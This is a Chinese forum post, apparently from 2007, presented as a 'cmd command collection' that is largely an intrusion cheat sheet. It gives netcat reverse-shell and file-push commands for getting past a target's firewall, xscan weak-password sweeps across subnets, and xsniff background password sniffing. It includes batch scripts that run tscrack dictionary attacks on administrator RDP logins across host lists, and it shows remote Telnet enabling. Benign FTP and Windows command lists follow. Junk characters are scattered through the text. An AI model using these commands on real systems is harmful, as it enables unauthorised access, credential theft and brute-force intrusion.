w' s! h! E本机上用:nc -l -p 本机端口 p9 A ~7 {, {$ y5 z在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K 8 C; C0 B9 f9 K" C: E+ Cnc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 2 S# O1 _7 I4 H4 p, p7 u本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称 2 s& ~" q5 G9 o {; R 在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 % H" Q' M6 _8 j# }' J: ~- |. L备 注: ! B8 l: E' f9 }% G; N1 ]1 P| 管道命令 ' D! D; ? y4 z3 _ < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令 / n2 ?& s$ A/ k& P4 W( F @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中 ) m2 [+ B8 K7 v% l& _>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。 * a7 r* ]( f1 F- \7 |如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。4 D: b* Z. u; | #8 八:! D8 A7 [; p* ~" s1 K 2、扫锚工具:xscan.exe # V9 M, Z9 @4 k6 k9 {基本格式 ! U. S1 ]# }4 r xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 F" R! j q; j/ N7 I0 R1 f6 { [ xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 % k, d/ o1 H$ R/ d4 m. N3 Z; w检测项目 ! i" {: Y5 G+ L+ y# O/ m-active 检测主机是否存活 # z8 Q( f( S( Y. G# q# S/ g, [% A-os 检测远程操作系统类型(通过NETBIOS和SNMP协议) 8 c) O9 u" N! ^. w! N-port 检测常用服务的端口状态 ) _0 x, P# s# r( N0 I: ~& A -ftp 检测FTP弱口令 2 ]. V# \2 Q x! r8 a1 M+ [-pub 检测FTP服务匿名用户写权限 0 Q( C2 P, H) l: l -pop3 检测POP3-Server弱口令 & ~, n5 I# \+ F, i/ y7 a1 c" K: u5 O -smtp 检测SMTP-Server漏洞 n5 s1 J s6 o+ ^-sql 检测SQL-Server弱口令 " k! ]0 g. n8 ~( e2 \9 }+ `3 x4 j5 K-smb 检测NT-Server弱口令 , X! a/ d7 N- o# d" G-iis 检测IIS编码/解码漏洞 : ~" d: ^8 t6 \' `. p-cgi 检测CGI漏洞 % J- o# O( f5 ^# t/ u- ^% u, I -nasl 加载Nessus攻击脚本 m% Q, y8 R( O! e1 F U -all 检测以上所有项目 1 A; e$ w# [+ ?3 |/ s. M1 o$ t U 其它选项 ! z/ J( F( Q, q4 y' O4 W -i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取 ; O6 ~* X ]3 d2 l" T* ~; x -l 显示所有网络适配器 / R& |1 u% D- e" o -v 显示详细扫描进度 4 j; D$ B* b$ A. B8 l0 p1 a- t -p 跳过没有响应的主机 ; d( z- E; }& N+ v8 g p3 f1 J-o 跳过没有检测到开放端口的主机 6 o: |" R7 Y- m8 f }: v7 W  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 ! k% `/ k) H4 W! b+ t$ g- i' `! U -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件) % C" N T, j7 |; v9 ?用法示例 y9 Q& A; z, J9 y& w6 Y% f& d _$ L xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机 6 H5 ^ X( o* k6 Q xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机 2 J6 [2 N& B- O5 ], X% L; t3 ]xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机. v* T, K6 I+ [9 Q* ^2 t' x6 Y/ V #9 九:6 a/ B2 B/ u7 E4 D [9 G2 H g) { 3、命令行方式嗅探器: xsniff.exe : e# T( w; [, o可捕获局域网内FTP/SMTP/POP3/HTTP协议密码# K; x; y/ B) M# w# d7 s 参数说明 6 t7 d6 b8 |& s9 r1 B! B -tcp 输出TCP数据报 2 r8 m5 b. L. a4 r9 r-udp 输出UDP数据报 % _! R5 C7 J% F( Q3 z% ]! k -icmp 输出ICMP数据报 ( |( {. \/ }" y2 m2 c) e-pass 过滤密码信息 ! b* a; c0 j) o( K, H t; l -hide 后台运行 & F: w2 P; ~, t1 T-host 解析主机名 # i# m% J4 {: v; I-addr IP地址 过滤IP地址 . ~' D8 C' N( C, V( I4 K S( {& e-port 端口 过滤端口 ; Y% Y' l1 S; c# |" X -log 文件名 将输出保存到文件 - Q3 v" u+ I) U; ^$ G-asc 以ASCII形式输出 ! @ w& v# G4 |9 [0 j8 E' Z -hex 以16进制形式输出 9 P+ R; |6 V" N; c- S- J用法示例 / }) n! _" s2 _8 e2 }xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 8 ]. X, Y5 d8 f* b xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 3 {- ?) b$ e9 q) ]/ \4、终端服务密码破解: tscrack.exe % `/ c8 O+ V' I/ w) a参数说明 & r0 z1 |1 h9 X# E-h 显示使用帮助 ( H+ \2 l N7 D1 u -v 显示版本信息 + j+ _, A. r. Z -s 在屏幕上打出解密能力 ' p+ W ^4 }! \) {/ J) u-b 密码错误时发出的声音 2 b- W. N4 b. \8 j! | -t 同是发出多个连接(多线程) 0 r6 k# Z6 t5 y2 t9 Q -N Prevent System Log entries on targeted server 9 u6 B0 p8 Q9 E) r6 K: m-U 卸载移除tscrack组件 $ e5 q! y) o& F0 P$ g( A' h -f 使用-f后面的密码 / `* U( I3 D# q8 X) L- S4 S, s-F 间隔时间(频率) 2 s9 e/ N! C$ i -l 使用-l后面的用户名 8 f* {3 c$ g" H-w 使用-w后面的密码字典 8 y' [+ }6 i% b3 v-p 使用-p后面的密码 8 R. M1 F- J6 C! M9 c Z5 q -D 登录主页面 / q1 C/ ]5 I9 ?% T 用法示例 + ~' X0 o9 f0 U ?! q; I tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 2 s& @+ U% H; f L1 H, rtscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 # r. s# c5 e& {) [# P @if not exist ipcscan.txt goto noscan $ ?( ?. X. @5 M4 | @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i 5 m: G/ j4 E( _. o2 ~( T( n nscan T& J# E [! x@echo 3389.txt no find or scan faild ( a- ?# [4 I& c1 d (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) ( I( h3 K% |. S, D: H$ A3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat * x6 e) y! n; ^% M @if not exist tscrack.exe goto noscan & `! E$ K" o2 r0 V& ^@tscrack %1 -l administrator -w pass.dic >>rouji.txt 3 ^3 E2 H2 J2 M9 o:noscan , ?9 v; M3 C# T# o0 x$ X2 ?2 I: H @echo tscrack.exe no find or scan faild 3 r+ |2 r/ T2 A A4 i. y (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了) 2 k5 `; W* o% M$ F. g hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。 0 t$ g* A1 ~# J. q1 w, G1 T- O( W 5、其它:! \# C8 _+ b2 N3 f" Q( u1 T Shutdown.exe 2 l0 p: J; W+ ^" G Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。) 1 L, G2 i, w# b fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙) - z2 h- G' \& ~* Z' D# W3 z0 e fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息 5 S x u3 q1 \+ sFpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。 * v2 i) G0 F3 B. m3 s" XOpenTelnet.exe (远程开启telnet工具) * ^" i2 ]' {, E; d. L1 ]# v5 J opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。 " a8 [# q( O( ] K" W9 `: Z8 GNTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。) g6 d; t% V/ ? } ResumeTelnet.exe (OpenTelnet附带的另一个工具) . a, K$ Y0 S# t- U resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。# \$ g- V& ^6 S% N1 e5 i #10 十:" Z W8 F8 p- [2 E' A2 ` 6、FTP命令详解: 8 U+ l( g; i2 q8 T% C8 o @5 zFTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。, ~9 ?- X V+ F' u9 f FTP的命令行格式为: 8 [+ z' v3 x/ _) a y: w+ {( K( ^; x ftp -v -d -i -n -g [主机名] ,其中 + L8 i! M' ]( Q; {-v 显示远程服务器的所有响应信息;4 \* l, U, O) \3 H% h" C6 ? -n 限制ftp的自动登录,即不使用;.n etrc文件;: c7 s# s( P6 v/ n -d 使用调试方式;/ |! h7 \* V; e. K -g 取消全局文件名。5 g( L4 j/ K0 l0 M2 y, A FTP使用的内部命令如下(中括号表示可选项): ' h) z2 V8 X; m! v( b1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip ( A" z$ n# \( ]5 h- f* N& N 2.$ macro-ame[args]: 执行宏定义macro-name。6 o1 A: e7 d: g/ a2 N 3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。 + Z; Q, \, \! F g4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。' H% D6 H6 m9 I8 O. }2 M/ p7 D$ c 5.ascii:使用ascii类型传输方式。 9 g( i4 w# k3 C, a Q) z1 O6.bell:每个命令执行完毕后计算机响铃一次。& S6 y! l5 l# @ 7.bin:使用二进制文件传输方式。 " S9 O+ A3 A6 C& Z0 }8.bye:退出ftp会话过程。 # w* y+ `+ v- {0 ^0 M% s9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。 0 m" C3 I, [, h# F- C9 F3 P 10.cd remote-dir:进入远程主机目录。; Z! F4 x% j2 s8 N+ u' J 11.cdup:进入远程主机目录的父目录。 6 j0 k) A! l: i12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。 * u& x4 Y% T2 h" c; [- d" j& D- j& a13.close:中断与远程服务器的ftp会话(与open对应)。 9 k1 n, R& ], n! t6 F 14.cr:使用asscii方式传输文件时,将回车换行转换为回行。 , L6 ^8 r7 y6 b m8 z @15.delete remote-file:删除远程主机文件。 - F c V0 X, Z' c0 ?2 J16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。$ I' l$ W2 E6 S# B 17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。 9 G# D4 N$ `4 H, i, E18.disconnection:同close。4 ]" `0 H& J! x/ b7 f4 z3 s, u7 d8 {' H: N 19.form format:将文件传输方式设置为format,缺省为file方式。 6 o" ~3 o! } U& b* G* P" E 20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。 7 Q( p" F* z0 D! j+ B) O21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。 0 A) P8 {7 }$ M$ z. b4 I. @ 22.hash:每传输1024字节,显示一个hash符号(#)。 4 c1 A0 Y( i' ^& y- P% S9 |1 c0 I23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。 3 `9 {# P8 K3 k) L8 E 24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 - {% V; W" Y7 i4 I4 X25.image:设置二进制传输方式(同binary)。 7 X: A0 @- {+ [8 @/ i 26.lcd[dir]:将本地工作目录切换至dir。 9 ^1 H- i3 Z1 J$ v5 t27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 ; h! T* L4 k$ ^( m# R. J" E 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 6 t( J( d* O* U* m29.mdelete[remote-file]:删除远程主机文件。 + |. N6 F5 V a+ n3 x/ X 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。4 M$ Q/ X% B7 g' c: ^% k 31.mget remote-files:传输多个远程文件。 2 S. f$ Z9 |$ U7 s32.mkdir dir-name:在远程主机中建一目录。 0 W7 `3 V2 D5 j' g; u6 q1 x. P( V33.mls remote-file local-file:同nlist,但可指定多个文件名。 " D+ ?5 h$ a; T7 ]1 w8 ~- E34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。 ) @) S! x9 o" v/ R35.modtime file-name:显示远程主机文件的最后修改时间。 2 }7 O8 {9 B: K: n _1 |' q36.mput local-file:将多个文件传输至远程主机。 4 g) W0 ?/ K2 C/ G: C4 Q- I37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。2 A! B+ T( M6 x3 \/ H% O 38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。: K- Q$ l/ B- @) a) M0 T 39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。+ k9 l1 O C% q, H8 J/ t6 t6 Y: y 40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。 , e2 A9 Q% O# f41.open host[port]:建立指定ftp服务器连接,可指定连接端口。 * i k- W5 c0 q% N 42.passive:进入被动传输方式。 ' U" `0 }% E4 b# W8 r43.prompt:设置多个文件传输时的交互提示。 + l4 M, ~- i; U/ v8 L44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。* ?9 T' f2 r" p/ G2 x8 S 45.put local-file[remote-file]:将本地文件local-file传送至远程主机。 # w$ Q& N, d6 a 46.pwd:显示远程主机的当前工作目录。3 I* n- F( z2 o. b 47.quit:同bye,退出ftp会话。 6 f# |, U, ?" e- n; s48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst. 8 o6 k s4 [ p* u8 w$ B. _49.recv remote-file[local-file]:同get。 * y2 u, x2 b" N ]- [) g 50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。# D, C. t* _: i2 e9 L7 Y( X 51.rhelp[cmd-name]:请求获得远程主机的帮助。 + X. q9 Z4 s8 {. s h0 } 52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。 ' ^' \4 m! | Z0 J a4 y53.rename[from][to]:更改远程主机文件名。 j) ^) v, j& Y M& n. l 54.reset:清除回答队列。 2 V: j5 u/ T9 R$ A% W1 O1 t% B55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。 + r* L& J/ e5 U9 K: @9 p& w( R56.rmdir dir-name:删除远程主机目录。4 R- w4 K$ n, Q" B7 E! l 57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。 9 R9 p+ a8 i \ 58.send local-file[remote-file]:同put。4 G2 l A9 o1 E& x 59.sendport:设置PORT命令的使用。 2 @+ \5 W) j0 r1 S1 f60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。& N2 h- ~5 a0 ~( k: ~% g) J6 } 61.size file-name:显示远程主机文件大小,如:site idle 7200。 6 O1 n% W5 |: c" d7 `6 M7 b" z/ T 62.status:显示当前ftp状态。 2 e- O6 f4 r( J/ q+ T+ ?63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。 5 i$ L) n F, N9 F) ?# F9 s3 g 64.sunique:将远程主机文件名存储设置为只一(与runique对应)。' }! I/ ]. V, P: `, _ 65.system:显示远程主机的操作系统类型。 ; v4 |" [& ]2 D66.tenex:将文件传输类型设置为TENEX机的所需的类型。 ' W2 M* |$ F8 V) n T67.tick:设置传输时的字节计数器。 - r) m' C8 U" o+ O68.trace:设置包跟踪。0 S) N+ L' t4 @5 Y, k4 p7 s 69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。 ; q( a4 [- W6 ]5 r1 q3 a70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3 + {* F" X) A! O4 y( Y, q1 K71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous [email=my@email]my@email[/email]。 0 C+ I V6 {+ n2 y/ Q3 R 72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.6 c0 F* i% P5 A* y) R$ ~ 73.?[cmd]:同help. & L+ C) r+ A" T. n7 L#11 十一: , L" D- c `, z; m3 k7:计算机运行命令全集 winver---------检查Windows版本, o1 v" C- }7 O# u. }6 ~ wmimgmt.msc----打开windows管理体系结构 & }9 L2 k. U6 ]" j# `& V' ?1 kwupdmgr--------windows更新程序 1 _! v+ H" A' Gwinver---------检查Windows版本 ! B, D$ S# W0 _/ `% @wmimgmt.msc----打开windows管理体系结构 h- q2 Y! ?2 B5 _9 F7 [% G3 O wupdmgr--------windows更新程序 # {! y! U2 Q! G. vwscript--------windows脚本宿主设置" |' I4 F7 y( z write----------写字板winmsd-----系统信息1 Y( {4 E& |( J: C0 A wiaacmgr-------扫描仪和照相机向导! e: S7 T" [" B- H% i7 Y winchat--------XP自带局域网聊天 ) c( B; |' ?7 Hmem.exe--------显示内存使用情况 % \( d7 g7 [. I4 OMsconfig.exe---系统配置实用程序 B& v/ M O" q7 F) ~5 t- i mplayer2-------简易widnows media player3 ` c9 H4 u( I* ?) R( m4 A mspaint--------画图板+ c r5 {1 G0 `, z mstsc----------远程桌面连接 4 V3 R4 P; ]+ `- c$ F9 J. emplayer2-------媒体播放机1 b" E& l- {: W5 ?* I5 d magnify--------放大镜实用程序 ( g: G3 F4 s" `' X, Ammc------------打开控制台, e0 S7 {' l7 Q' B mobsync--------同步命令0 j; j# d4 l5 P# o9 R; m9 @* \8 x dxdiag---------检查DirectX信息* B0 q H" v1 Y8 A0 A drwtsn32------ 系统医生$ o: O0 }0 ?7 t4 P devmgmt.msc--- 设备管理器 / n3 C: X- I! l6 }dfrg.msc-------磁盘碎片整理程序) X q2 H+ R% m& u! K diskmgmt.msc---磁盘管理实用程序1 {/ j* [" o* s* U' p4 A dcomcnfg-------打开系统组件服务5 L0 l" _! }% b& f+ y: l' D7 W ddeshare-------打开DDE共享设置9 P; N. f W4 Y. Y' F$ K$ {( R+ o+ p0 N dvdplay--------DVD播放器8 n# j: d/ ?5 h6 o net stop messenger-----停止信使服务# c o( P2 i% M net start messenger----开始信使服务 $ G# K3 v( U% H( [3 {6 x; \8 V notepad--------打开记事本 ( g; D' ?5 |1 N3 H) Lnslookup-------网络管理的工具向导: [5 y6 Y |2 z ntbackup-------系统备份和还原 ' e; _3 S8 _9 x# g" [; j' Enarrator-------屏幕"讲述人" ; e- { j4 T2 O8 n D. ~ntmsmgr.msc----移动存储管理器 Y% H Q% ?! D @; x6 j/ d* m ntmsoprq.msc---移动存储管理员操作请求 $ [' U9 E3 S8 anetstat -an----(TC)命令检查接口 ( S% C" O a1 U" ~. [6 s, vsyncapp--------创建一个公文包8 m8 q, S! v8 d/ S! A sysedit--------系统配置编辑器 ; j/ V0 ?9 p5 a; {sigverif-------文件签名验证程序" D: _& n x: D" C3 i0 c, Q sndrec32-------录音机 6 K' a) B! L% [! `/ dshrpubw--------创建共享文件夹8 }. f' ^: h( k' E) K1 I secpol.msc-----本地安全策略 1 i8 W b% m) B& i' Zsyskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 4 X' V& x2 y5 ], c$ g$ Pservices.msc---本地服务设置+ w0 e8 [; E5 T" M7 q9 d6 D Sndvol32-------音量控制程序 ( |# t. \1 O: I; M b6 _7 |sfc.exe--------系统文件检查器% l" D ~. j3 H! ^9 E% L sfc /scannow---windows文件保护 4 K) m* ~1 A9 X1 V: b& ~6 xtsshutdn-------60秒倒计时关机命令 ( N" C5 G8 D& r8 w k' R+ k; K0 stourstart------xp简介(安装完成后出现的漫游xp程序) $ q& v+ y( B: Y8 Htaskmgr--------任务管理器 . j1 T# ?0 O$ p4 J8 T( beventvwr-------事件查看器 % U8 d$ {7 B6 U9 i- L$ l6 ceudcedit-------造字程序 ; t! g! q* I% L( Mexplorer-------打开资源管理器6 K8 z" R+ z: h5 w8 F8 L packager-------对象包装程序5 R% a& { U+ \$ L( ~- i) i% T% b perfmon.msc----计算机性能监测程序 " g5 v1 l/ q* H# W: t! Tprogman--------程序管理器3 {9 p( O- U" L) E& Z9 | regedit.exe----注册表 + {8 Q0 w9 x( Q# A T" [/ H rsop.msc-------组策略结果集 " T3 R# L* y p7 ~- B2 Yregedt32-------注册表编辑器 " w; J" m- X( F- v2 urononce -p ----15秒关机 3 K7 ?% |: N+ |; C, z# m3 v! w4 k, hregsvr32 /u *.dll----停止dll文件运行 ( o$ _4 }- o4 X$ L* H+ M+ sregsvr32 /u zipfldr.dll------取消ZIP支持 4 Q: Y* U/ g: M2 E6 ~cmd.exe--------CMD命令提示符# |, U& Q( a2 a9 a$ J6 y" v chkdsk.exe-----Chkdsk磁盘检查! W0 v+ x% c7 g2 ` \5 r certmgr.msc----证书管理实用程序 . n' b% R$ a9 u w2 U5 Dcalc-----------启动计算器 $ Q# ` W$ n/ j- q4 j) J, m+ hcharmap--------启动字符映射表- D+ j; b( b; P cliconfg-------SQL SERVER 客户端网络实用程序9 l! d' K4 c/ D! u; b5 H" U Clipbrd--------剪贴板查看器 . ?4 |- o2 M) w( u4 Mconf-----------启动netmeeting: C2 C: x& Q3 {% M# i" T# } compmgmt.msc---计算机管理/ R! X; Z% O& N2 X# `$ r( n! R cleanmgr-------**整理 - [3 F2 ^- ]0 p7 R- c' mciadv.msc------索引服务程序' U+ [4 x! R0 o2 V5 f+ r osk------------打开屏幕键盘 & T" ~$ P$ X% g* Jodbcad32-------ODBC数据源管理器 3 ~4 G+ [8 z+ ?; ?4 |$ a6 U/ ^oobe/msoobe /a----检查XP是否激活 , T$ w0 M9 Y) A. S: ~* p2 klusrmgr.msc----本机用户和组 9 \* U! ^9 K5 S5 {/ mlogoff---------注销命令* v- w$ p8 u! o) A( M C iexpress-------木马捆绑工具,系统自带2 f) K; `6 G/ f4 E6 U6 W Nslookup-------IP地址侦测器' k* d# I' \2 ]9 W9 \+ i fsmgmt.msc-----共享文件夹管理器 # b7 y4 b5 i, E d, k9 V) x% W& Z8 }utilman--------辅助工具管理器 ( r; S5 @) ^( G& Ngpedit.msc-----组策略
遨海湾-心灵的港湾 www.aosea.com
发表于 2007-10-14 14:01:00 | 显示全部楼层

回复:cmd命令大全

再汗一个
遨海湾-心灵的港湾 www.aosea.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 入住遨海湾

本版积分规则

网站解决方案专享优惠-3折上云

手机版|小黑屋|遨海湾超级社区

GMT+8, 2026-7-8 08:42

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表